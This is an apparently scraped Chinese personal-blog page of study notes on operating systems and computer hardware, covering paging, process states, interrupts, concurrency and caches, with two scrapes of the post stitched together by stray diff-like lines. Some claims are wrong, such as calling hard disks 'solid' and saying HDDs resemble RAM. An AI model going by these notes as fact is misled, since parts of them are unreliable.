Memory，SRAM）的存储器，一旦断电就会丢失数据</p><p>每个CPU核心都有属于自己的L1缓存和L2缓存，而L3缓存一般是多核心共享的</p><p>内存使用的是一种叫动态随机存取存储器（Dynamic Random Access Memory，DRAM）的存储器</p><p>SRAM存储1bit的数据，一般情况需要6个晶体管，而DRAM只需要一个晶体管和一个电容</p><p>硬盘就是固体硬盘（分为HDD硬盘（Hard Disk Drive）和SSD硬盘(Solid-state disk)），HDD硬盘结构和内存相似，但是和内存，缓存之类的不同的是其断电，数据不会丢失</p><p>CPU Cachee的数据是从内存中获取的，通过Cache Line（缓存块）来一块一块获取，L1缓存一般分为数据缓存和指令缓存</p><p>补码：将正数的二进制全部取反再加1，补码被用于处理负数</p><p>十进制小数转二进制用的是乘2取整法（将小数部分乘以2，作为二进制的一位，一直到不存在小数，整数还是用除2法，再合并就是小数的二进制结果）</p><p>不是所有小数都可以乘2取整的，例如0.1就不能取整，无法使用二进制精确表示0.1，只能使用近似值来表示，这将导致精度缺失的情况发生</p><hr><p>操作系统内核：连接硬件设备的桥梁，应用只需要和内核交互，无需关注硬件，内核已提供访问硬件的接口</p><p>现代操作系统内核支持进程调度，内存管理，硬件通信，提供系统接口等功能</p><p>内核权限很高，并且将内存分称2个部分，分别是内核空间（只有内核程序可访问），用户空间（专门提供给应用使用）</p><p>当程序在使用用户空间时，那么该程序在用户态执行，如果在使用内核空间，那么该程序在内核态执行</p><p>内核一般分为三种，宏内核（Linux为代表，整个内核是一个完整的程序），微内核（具备一个小内核，一些服务或者模块由用户态来管理）以及混合内核（宏内核和微内核的结合体，windows为代表）</p><hr><p>计算机的输入，输出，状态转换函数F</p><p>状态描述：一切可使用数字描述</p><p>输入：晶振（时间输入，CPU周期，时钟驱动CPU工作），外界输入设备</p><p>输出：打印机，显示器</p><p>机械计算机：差分机（巴贝奇，多项式求值）</p><p>图灵机</p><p>冯 诺依曼模型</p><hr><p>CPU的工作原理（内存，寄存器，ALU（算数逻辑单元））</p><p>数据空间地址和指令空间地址</p><hr><p>指令</p><p>通过指令来控制计算机工作，CPU被时钟驱动，并且不断读取指针指向的指令，从内存读取指令然后执行指令</p><p>不同的cpu架构使用不同的指令集，常见的指令集有RISC（Reduced Instruction Set Computing，精简指令集），CISC（Complex Instruction Set Computing，复杂指令集）</p><p>RISC中代表的有arm指令集，CISC中代表的有x86指令集</p><p>RISC的特点就是CPU单元电路少，面积小，功耗低（只进行二进制处理器指令）</p><p>CISC的特定就是CPU单元电路多，面积大，功耗大（进行复杂指令）</p><hr><p>寻址模式，浮点数，指令分类</p><p>寻址模式（指令集的一部分，表示指令有哪些操作符，地址应该怎么计算）</p><p>寄存器寻址，立即寻址，偏移量寻址（基地址，偏移量），PC相对寻址</p><p>内存读写（load/store指令），加减乘除（add，sub，div，mult）。</p><hr><p>操作系统的并发性（2个事件及2个以上事件在一段时间内发生，就叫并发，并发是单核CPU的知识点），共享性（操作系统的资源可以提供给多个并发程序使用，互斥共享，同时访问（一段时间内并发访问资源）），虚拟性（将物理设备虚拟成多个逻辑实体，虚拟技术有时分复用（分时使用硬件资源，例如虚拟处理器技术，就是将多个程序分时复用处理器资源，虚拟设备技术，就是将物理设备虚拟成多个逻辑设备，一个程序使用一个逻辑设备，通过逻辑设备来并发访问真实的物理设备），空分复用技术（虚拟磁盘技术（将物理磁盘虚拟成多个逻辑盘），虚拟内存技术（可使用比实际内存更大的内存空间））），异步性（允许多进程并发执行）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/>操作系统</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/116/><span class=title>« Prev</span><br><span>weex跨平台框架学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/114/><span class=title>Next »</span><br><span>简单使用mocha测试框架</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"操作系统学习笔记","item":"https://chenjunlinabc.github.io/posts/115/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"操作系统学习笔记","name":"操作系统学习笔记","description":"操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统\n常见操作系统有Windows，Linux，Android\n操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互\n操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等\n操作系统的架构的层次是在硬件之上，应用之下\nOS Kernel：可并发（同时存在多个运行的应用）。可共享，可虚拟，可异步\n微内核：尽可能将内核功能移植到用户空间，缺点就是性能低\n外核和内核：一个负责硬件，一个负责软件\nDISK（硬盘存储）：存储OS\nBIOS：基本I/O处理系统（加载外设以及加载软件来运行OS） （basic I/O system)\nBootLoader：加载OS\nPOST（加电自检，查找显卡和执行BIOS）\n系统调度：来源于“合法”的应用向系统发出服务请求的（同步或者异布）\n异常：来源于“不良”的应用非法指令（或者应用意想不到的请求，应用无法获得资源需求）（同步）\n中断：来源于外设对于硬件设备和网络中断（异步）\n逻辑化地址空间，独立地址空间，可访问相同内存，更多内存空间（虚拟化）\n物理地址空间：硬件支持的地址空间\n逻辑地址空间：应用程序拥有的内存范围\n操作系统为了运行多个程序，进行了内存地址的隔离（分配独立的虚拟内存地址），虚拟内存地址和物理内存地址是映射关系\n应用逻辑地址映射到物理地址\nCPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）寻找逻辑地址和物理地址之间的映射，控制器将从总线发送物理地址的内存内容的请求\n内存发送物理地址内存内容给CPU（告诉CPU，物理地址找到了），建立逻辑地址和物理地址之间的映射（确保应用互不干扰）\n虚拟地址和物理地址的映射关系管理\n内存分段（内存被看成一组不同长度的段）\n内存分段下的虚拟地址分为段选择⼦和段内偏移量\n段选择⼦保存在段寄存器中，段选择⼦其中的段号被用于段表的索引，段表中保存的是这个段的基地址和段界限等等\n而段内偏移量是位于0和段界限之间的，如果段内偏移量合法，那么段内偏移量加段的基地址得到物理内存地址\n分段的内存碎片问题，如果某个程序占用了128mb内存，然后该程序被关闭了，释放128mb内存，如果这个128mb内存不是连续的，而是被分段了，这将导致没有内存空间打开另一个内存占用128mb的程序\n内存分页（将物理内存和虚拟内存切成一段段固定大小的内存空间）\n内存分页解决了内存分段的内存碎片问题，其释放内存是以页为单位释放的，当内存空间不够，会释放其他正在运行的进程的没使用的内存页面\n内存分页下的虚拟地址被分为页号和页内偏移，页好为页表的索引，页表保存着物理页的所在物理内存的基地址，基地址和页内偏移组成物理内存地址\n内存分页的缺点就是在运行多线程时，页表会非常大，所以出现了多级⻚表（将页表分成一级一级的）\n段⻚式内存管理（内存分段和内存分页的结合体）\n先将内存分为多个段，再将每个端分为多个页，地址通过段号，段内⻚号和⻚内位移组成\n连续性内存管理（内存碎片和分区的动态分配）\n外部碎片：在分配单元间的未使用内存\n内部碎片：在分配单元中的未使用内存\n当一个应用被批准运行在内存中时，分配一个连续的区间，来给运行的应用访问数据\n动态分配的策略：当想分配某字节，先从低地址找，找到第一个被某字节大的空闲块，就使用它\n动态分配的缺点就是外部碎片严重\n非连续内存分配\n分段Segmentation：\n逻辑地址空间连续，物理地址离散\n一个段表示一个内存块，一个逻辑地址空间，应用访问内存地址的时候，需要个二维的二元组\n虚拟内存：\n早期内存不够应用消耗，应用的规模比存储器的容器大\n当应用太大，超出内存，可采用手动的覆盖(overlay) 技术，只把需要的指令和数据保存在内存中\n当应用太多，超出内存，可采用自动的交换(swapping) 技术，把暂时不能执行的程序送到外存（磁盘）中\n进程和线程：\n进程状态(state)，线程(thread)，进程间通信(inter-process communication)，进程互斥与同步，死锁(deadlock)\n进程包含正在运行的应用的全部状态信息\n进程可动态化创建，结束进程，可以被独立调度并占用处理，不同的进程互不影响，可访问共享数据或者资源\n进程控制块(process control block, PCB)：进程的数据结构，操作系统管理控制进程运行所用的信息集合，操作系统为每一个进程都维护了一个PCB，用来存储保存和该进程有关的状态信息\n进程是操作系统最小可调度的资源单位\n多个程序运行在单核心CPU服务器上，实质就是在共享时间片（时间片，操作系统将某个程序分配到某段CPU时间上，单核是无法同时运行多个程序的，只能共享时间片，而进程就是因此而生）\n进程状态有3种，分别是运行，阻塞以及就绪\n运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用\n运行可切换到阻塞状态\n阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态\n进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了","keywords":["操作系统"],"articleBody":"操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统\n常见操作系统有Windows，Linux，Android\n操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互\n操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等\n操作系统的架构的层次是在硬件之上，应用之下\nOS Kernel：可并发（同时存在多个运行的应用）。可共享，可虚拟，可异步\n微内核：尽可能将内核功能移植到用户空间，缺点就是性能低\n外核和内核：一个负责硬件，一个负责软件\nDISK（硬盘存储）：存储OS\nBIOS：基本I/O处理系统（加载外设以及加载软件来运行OS） （basic I/O system)\nBootLoader：加载OS\nPOST（加电自检，查找显卡和执行BIOS）\n系统调度：来源于“合法”的应用向系统发出服务请求的（同步或者异布）\n异常：来源于“不良”的应用非法指令（或者应用意想不到的请求，应用无法获得资源需求）（同步）\n中断：来源于外设对于硬件设备和网络中断（异步）\n逻辑化地址空间，独立地址空间，可访问相同内存，更多内存空间（虚拟化）\n物理地址空间：硬件支持的地址空间\n逻辑地址空间：应用程序拥有的内存范围\n操作系统为了运行多个程序，进行了内存地址的隔离（分配独立的虚拟内存地址），虚拟内存地址和物理内存地址是映射关系\n应用逻辑地址映射到物理地址\nCPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）寻找逻辑地址和物理地址之间的映射，控制器将从总线发送物理地址的内存内容的请求\n内存发送物理地址内存内容给CPU（告诉CPU，物理地址找到了），建立逻辑地址和物理地址之间的映射（确保应用互不干扰）\n虚拟地址和物理地址的映射关系管理\n内存分段（内存被看成一组不同长度的段）\n内存分段下的虚拟地址分为段选择⼦和段内偏移量\n段选择⼦保存在段寄存器中，段选择⼦其中的段号被用于段表的索引，段表中保存的是这个段的基地址和段界限等等\n而段内偏移量是位于0和段界限之间的，如果段内偏移量合法，那么段内偏移量加段的基地址得到物理内存地址\n分段的内存碎片问题，如果某个程序占用了128mb内存，然后该程序被关闭了，释放128mb内存，如果这个128mb内存不是连续的，而是被分段了，这将导致没有内存空间打开另一个内存占用128mb的程序\n内存分页（将物理内存和虚拟内存切成一段段固定大小的内存空间）\n内存分页解决了内存分段的内存碎片问题，其释放内存是以页为单位释放的，当内存空间不够，会释放其他正在运行的进程的没使用的内存页面\n内存分页下的虚拟地址被分为页号和页内偏移，页好为页表的索引，页表保存着物理页的所在物理内存的基地址，基地址和页内偏移组成物理内存地址\n内存分页的缺点就是在运行多线程时，页表会非常大，所以出现了多级⻚表（将页表分成一级一级的）\n段⻚式内存管理（内存分段和内存分页的结合体）\n先将内存分为多个段，再将每个端分为多个页，地址通过段号，段内⻚号和⻚内位移组成\n连续性内存管理（内存碎片和分区的动态分配）\n外部碎片：在分配单元间的未使用内存\n内部碎片：在分配单元中的未使用内存\n当一个应用被批准运行在内存中时，分配一个连续的区间，来给运行的应用访问数据\n动态分配的策略：当想分配某字节，先从低地址找，找到第一个被某字节大的空闲块，就使用它\n动态分配的缺点就是外部碎片严重\n非连续内存分配\n分段Segmentation：\n逻辑地址空间连续，物理地址离散\n一个段表示一个内存块，一个逻辑地址空间，应用访问内存地址的时候，需要个二维的二元组\n虚拟内存：\n早期内存不够应用消耗，应用的规模比存储器的容器大\n当应用太大，超出内存，可采用手动的覆盖(overlay) 技术，只把需要的指令和数据保存在内存中\n当应用太多，超出内存，可采用自动的交换(swapping) 技术，把暂时不能执行的程序送到外存（磁盘）中\n进程和线程：\n进程状态(state)，线程(thread)，进程间通信(inter-process communication)，进程互斥与同步，死锁(deadlock)\n进程包含正在运行的应用的全部状态信息\n进程可动态化创建，结束进程，可以被独立调度并占用处理，不同的进程互不影响，可访问共享数据或者资源\n进程控制块(process control block, PCB)：进程的数据结构，操作系统管理控制进程运行所用的信息集合，操作系统为每一个进程都维护了一个PCB，用来存储保存和该进程有关的状态信息\n进程是操作系统最小可调度的资源单位\n多个程序运行在单核心CPU服务器上，实质就是在共享时间片（时间片，操作系统将某个程序分配到某段CPU时间上，单核是无法同时运行多个程序的，只能共享时间片，而进程就是因此而生）\n进程状态有3种，分别是运行，阻塞以及就绪\n运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用\n运行可切换到阻塞状态\n阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态\n进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了\n进程发生阻塞时，该进程将放弃CPU使用权，CPU会执行下一个就绪状态的进程\n中断和中断向量\n当程序发生中断（CPU暂时中断当前正在运行的程序），CPU转去处理其他的程序（也可能是处理内存的数据），当CPU处理完毕，CPU可恢复到之前被暂时中断当前正在运行的程序的状态，这个过程叫中断\n中断向量就是中断程序的入口地址\n中断发生时，该进程会第一时间保存被中断程序的状态，会将相关数据保存到寄存器，当CPU通过中断向量，跳转到处理中断程序中去，并且执行中断程序，然后决定下一个执行哪个程序，如果这个程序正好是之前被中断的，会从寄存器中读取相关数据。恢复到之前中断的执行状态\n任何进程都需要排队等待\n进程中断和进程阻塞的区别：中断是由于一些优先级比较高的需要CPU处理而被迫中断执行，而阻塞是因为进程需要一些依赖，但是依赖没有就位，需要等待就位，该进程就会进入到阻塞队列中，当依赖就位，就恢复到就绪状态，等待进程调度系统分配CPU执行权\n进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态\n线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程\n并发和并行的区别\n并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发\n并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行\n并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程\n当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发\n进程调度的性能消耗太大，因为进程调度会导致进程中断，不但需要将数据保存在寄存器中，恢复进程还需要从寄存器中读取数据，而调度线程的性能消耗就很小，线程是进程的执行单元，一个进程中最少存在一个线程\n进程的竞争和临界区\n临界区：指的是共享内存中的程序片段\n当两个进程同时访问了临界区，而临界区中的数据正好不能被同时访问，例如进程A读取了临界区中的某个内存，并且修改了这个内存，但是进程B正好在读取该临界区的这个内存，导致读取的数据是错的，而解决这个问题的最简单方法就是互斥，当一个进程在该临界区中时，其他进程不能进入，需要排队等待，而且不能过于长时间的占用临界区，临界区外的进程不影响到临界区内的进程\n死锁：当多个进程因为竞争资源或者进程通信而导致的阻塞现象，进程在互相等待，无法进行下一步操作\n严格轮换法，Peterson算法\n严格轮换法简单来说就是声明一个状态，某个进程进入临界区时，状态为1，出来的时候状态为0，当其他进程看到状态为1时，等待该进程出来，看到状态为0时，进入临界区\nPeterson算法是严格轮换法的优化版，实现了互斥的同时又避免的死锁\nPeterson算法的思路是声明2个状态（一个是正在使用临界区的状态，另一个是想进入临界区的状态），当一个进程想进入临界区时，会检查一下其他进程是否想进入临界区，如果存在其他进程想进入临界区，则等待\nFHS规范（3.0），全称Filesystem Hierarchy Standard，中文翻译为文件系统层次结构标准，用于定义根目录以及一级子目录的规范，大多数Linux版本使用该标准来定义文件系统（并不一定完全符合规范，只是大概上符合）\nFHS规范定义了系统各个目录应该要放什么文件数据，以及所需要的文件和目录\n例如：规范某一些文件或者目录可以分享或者不可以分享给给其他人使用\nFHS规范了根目录(/)，以及根目录的子目录etc（配置文件），bin（必要软件或者命令），usr（二级目录），home（当前用户的家目录），var（动态数据）\nLinux文件系统—VFS（虚拟文件系统）（Linux下一切都是文件）\nVFS不需要考虑不同文件系统和存储介质的差异，因为其内核抽象出了通用的文件系统接口，只要符合接口标准，一些文件或者比较特殊的文件系统都是可以兼容\nVFS抽象对象，超级块：文件系统，目录项：文件的路径，索引节点：具体文件（操作文件的具体信息），文件：进程打开的文件。都有自己的接口来操作\nXFS（高性能64位日志文件系统），带有日志功能防丢数据，原生提供备份工具（xfsdump/sfsrestore）\n图灵机和冯诺依曼模型\n图灵机实质就是机器模拟人类在纸上进行数学运算，先将数值写到一个纸带的小方格中，再通过读写头来读取小方格里面的信息\n这个读写头具备存储，运算，控制功能。存储读取的数据以及运算出来的数据，可执行运算指令，可识别数据是运算指令（例如加号，减号等等运算符号）还是数字\n冯诺依曼模型（约定使用二进制来存储和计算数据，并且定义计算机基本结构，CPU，内存，输入设备，输出设备，总线，具备这5个部分的计算机就是冯诺依曼模型）\nCPU：中央处理器，64位处理器（64位指的CPU的位宽，位宽决定了处理器一次可以计算处理多少字节的数据，64位处理器可以一次计算8个字节）\nCPU内部还有寄存器（存储CPU计算时的数据），运算单元（负责计算），控制单元（控制CPU工作）\n常见的寄存器有：通用寄存器（存储需要进行计算的数据），程序计数器（存储CPU要执行下一个指令的内存地址），指令寄存器（存储程序计数器指向的指令）\n总线（CPU和其他设备之间的通信，总线被分为3种，地址总线（传送外部存储器（内存）的地址），控制总线（用来传输和接收控制信号），数据总线（传送内存的数据信息，数据总线又分单向传输，双向传输））\n输入输出设备（输入设备通过控制总线和CPU通信，CPU处理后，将数据输出给输出设备）\n线路传输：通过电压来传输数据，低电压表示0，高电压表示1，一条线路可传输1bit的数据（二进制，0或1）\n32位处理器的最大寻址空间为2的32次方（4294967296，大概4GB左右），所以32位CPU（或者操作系统）只能操作4G内存（而64位理论上寻址范围高达2的64次方）\nCPU执行过程：CPU读取程序计数器的值（指令内存地址），控制单元通过地址总线访问到内存，并且通过数据总线获取数据给CPU，CPU接收到数据，将该数据存储在指令寄存器，CPU处理指令寄存器的数据，确定数据的类型，如果是计算类，就交给运算单元处理，如果是存储类，就交给控制单元处理，CPU处理完毕后，程序计数器的值自增（用来表示下一条指令，自增取决于CPU的位宽，如果是64位处理器就是自增8（因为64位一次性处理8个字节数据，一个字节数据需要一个地址来存放））\nCPU会不断执行该过程，直到结束（这个过程叫CPU的指令周期）\nCPU的执行速度取决于指令的执行速度，而指令的执行速度取决于CPU的时钟频率（Ghz），例如我电脑的CPU是 2.10 GHz的，这个 2.10 GHz指的是1秒内可以产生2.1G次数的脉冲信号，而每一次脉冲信号的高低电平的转换就是时钟周期（振荡周期）\n时钟频率越高，时钟周期越低，CPU的处理速度越快\n存储器\n内存断电，数据会丢失，而硬盘不会，因为硬盘是持久化存储，而且CPU内部也有存储器（只不过其能存储的数据很小）\n寄存器处理速度最快，再到CPU Cache（中⽂称为CPU缓存，一般分为L1,L2,L3这样的缓存层，比如我电脑的r5 3550h的一级缓存为384KB，二级缓存为2MB，三级缓存为4MB，二级缓存是一级缓存的缓冲器，三级缓存是二级缓存的缓冲器）\n然后再到内存，最后是硬盘\n一个主频为2.1Ghz的CPU，表示其1秒内完成2.1x10的9次方个时钟周期\nCPU Cachee使用了⼀种叫 静态随机存取存储器（Static Random-Access Memory，SRAM）的存储器，一旦断电就会丢失数据\n每个CPU核心都有属于自己的L1缓存和L2缓存，而L3缓存一般是多核心共享的\n内存使用的是一种叫动态随机存取存储器（Dynamic Random Access Memory，DRAM）的存储器\nSRAM存储1bit的数据，一般情况需要6个晶体管，而DRAM只需要一个晶体管和一个电容\n硬盘就是固体硬盘（分为HDD硬盘（Hard Disk Drive）和SSD硬盘(Solid-state disk)），HDD硬盘结构和内存相似，但是和内存，缓存之类的不同的是其断电，数据不会丢失\nCPU Cachee的数据是从内存中获取的，通过Cache Line（缓存块）来一块一块获取，L1缓存一般分为数据缓存和指令缓存\n补码：将正数的二进制全部取反再加1，补码被用于处理负数\n十进制小数转二进制用的是乘2取整法（将小数部分乘以2，作为二进制的一位，一直到不存在小数，整数还是用除2法，再合并就是小数的二进制结果）\n不是所有小数都可以乘2取整的，例如0.1就不能取整，无法使用二进制精确表示0.1，只能使用近似值来表示，这将导致精度缺失的情况发生\n操作系统内核：连接硬件设备的桥梁，应用只需要和内核交互，无需关注硬件，内核已提供访问硬件的接口\n现代操作系统内核支持进程调度，内存管理，硬件通信，提供系统接口等功能\n内核权限很高，并且将内存分称2个部分，分别是内核空间（只有内核程序可访问），用户空间（专门提供给应用使用）\n当程序在使用用户空间时，那么该程序在用户态执行，如果在使用内核空间，那么该程序在内核态执行\n内核一般分为三种，宏内核（Linux为代表，整个内核是一个完整的程序），微内核（具备一个小内核，一些服务或者模块由用户态来管理）以及混合内核（宏内核和微内核的结合体，windows为代表）\n计算机的输入，输出，状态转换函数F\n状态描述：一切可使用数字描述\n输入：晶振（时间输入，CPU周期，时钟驱动CPU工作），外界输入设备\n输出：打印机，显示器\n机械计算机：差分机（巴贝奇，多项式求值）\n图灵机\n冯 诺依曼模型\nCPU的工作原理（内存，寄存器，ALU（算数逻辑单元））\n数据空间地址和指令空间地址\n指令\n通过指令来控制计算机工作，CPU被时钟驱动，并且不断读取指针指向的指令，从内存读取指令然后执行指令\n不同的cpu架构使用不同的指令集，常见的指令集有RISC（Reduced Instruction Set Computing，精简指令集），CISC（Complex Instruction Set Computing，复杂指令集）\nRISC中代表的有arm指令集，CISC中代表的有x86指令集\nRISC的特点就是CPU单元电路少，面积小，功耗低（只进行二进制处理器指令）\nCISC的特定就是CPU单元电路多，面积大，功耗大（进行复杂指令）\n寻址模式，浮点数，指令分类\n寻址模式（指令集的一部分，表示指令有哪些操作符，地址应该怎么计算）\n寄存器寻址，立即寻址，偏移量寻址（基地址，偏移量），PC相对寻址\n内存读写（load/store指令），加减乘除（add，sub，div，mult）。\n操作系统的并发性（2个事件及2个以上事件在一段时间内发生，就叫并发，并发是单核CPU的知识点），共享性（操作系统的资源可以提供给多个并发程序使用，互斥共享，同时访问（一段时间内并发访问资源）），虚拟性（将物理设备虚拟成多个逻辑实体，虚拟技术有时分复用（分时使用硬件资源，例如虚拟处理器技术，就是将多个程序分时复用处理器资源，虚拟设备技术，就是将物理设备虚拟成多个逻辑设备，一个程序使用一个逻辑设备，通过逻辑设备来并发访问真实的物理设备），空分复用技术（虚拟磁盘技术（将物理磁盘虚拟成多个逻辑盘），虚拟内存技术（可使用比实际内存更大的内存空间））），异步性（允许多进程并发执行）\n","wordCount":"182","inLanguage":"en","datePublished":"2021-10-07T09:00:00Z","dateModified":"2021-10-07T09:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/115/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>操作系统学习笔记</h1><div class=post-meta><span title='2021-10-07 09:00:00 +0000 UTC'>2021-10-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e6%93%8d%e4%bd%9c%e7%b3%bb%e7%bb%9f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统</p><p>常见操作系统有Windows，Linux，Android</p><p>操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互</p><p>操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等</p><p>操作系统的架构的层次是在硬件之上，应用之下</p><p>OS Kernel：可并发（同时存在多个运行的应用）。可共享，可虚拟，可异步</p><p>微内核：尽可能将内核功能移植到用户空间，缺点就是性能低</p><p>外核和内核：一个负责硬件，一个负责软件</p><p>DISK（硬盘存储）：存储OS</p><p>BIOS：基本I/O处理系统（加载外设以及加载软件来运行OS） （basic I/O system)</p><p>BootLoader：加载OS</p><p>POST（加电自检，查找显卡和执行BIOS）</p><p>系统调度：来源于“合法”的应用向系统发出服务请求的（同步或者异布）</p><p>异常：来源于“不良”的应用非法指令（或者应用意想不到的请求，应用无法获得资源需求）（同步）</p><p>中断：来源于外设对于硬件设备和网络中断（异步）</p><p>逻辑化地址空间，独立地址空间，可访问相同内存，更多内存空间（虚拟化）</p><p>物理地址空间：硬件支持的地址空间</p><p>逻辑地址空间：应用程序拥有的内存范围</p><p>操作系统为了运行多个程序，进行了内存地址的隔离（分配独立的虚拟内存地址），虚拟内存地址和物理内存地址是映射关系</p><p>应用逻辑地址映射到物理地址</p><p>CPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）寻找逻辑地址和物理地址之间的映射，控制器将从总线发送物理地址的内存内容的请求</p><p>内存发送物理地址内存内容给CPU（告诉CPU，物理地址找到了），建立逻辑地址和物理地址之间的映射（确保应用互不干扰）</p><p>虚拟地址和物理地址的映射关系管理</p><p>内存分段（内存被看成一组不同长度的段）</p><p>内存分段下的虚拟地址分为段选择⼦和段内偏移量</p><p>段选择⼦保存在段寄存器中，段选择⼦其中的段号被用于段表的索引，段表中保存的是这个段的基地址和段界限等等</p><p>而段内偏移量是位于0和段界限之间的，如果段内偏移量合法，那么段内偏移量加段的基地址得到物理内存地址</p><p>分段的内存碎片问题，如果某个程序占用了128mb内存，然后该程序被关闭了，释放128mb内存，如果这个128mb内存不是连续的，而是被分段了，这将导致没有内存空间打开另一个内存占用128mb的程序</p><p>内存分页（将物理内存和虚拟内存切成一段段固定大小的内存空间）</p><p>内存分页解决了内存分段的内存碎片问题，其释放内存是以页为单位释放的，当内存空间不够，会释放其他正在运行的进程的没使用的内存页面</p><p>内存分页下的虚拟地址被分为页号和页内偏移，页好为页表的索引，页表保存着物理页的所在物理内存的基地址，基地址和页内偏移组成物理内存地址</p><p>内存分页的缺点就是在运行多线程时，页表会非常大，所以出现了多级⻚表（将页表分成一级一级的）</p><p>段⻚式内存管理（内存分段和内存分页的结合体）</p><p>先将内存分为多个段，再将每个端分为多个页，地址通过段号，段内⻚号和⻚内位移组成</p><p>连续性内存管理（内存碎片和分区的动态分配）</p><p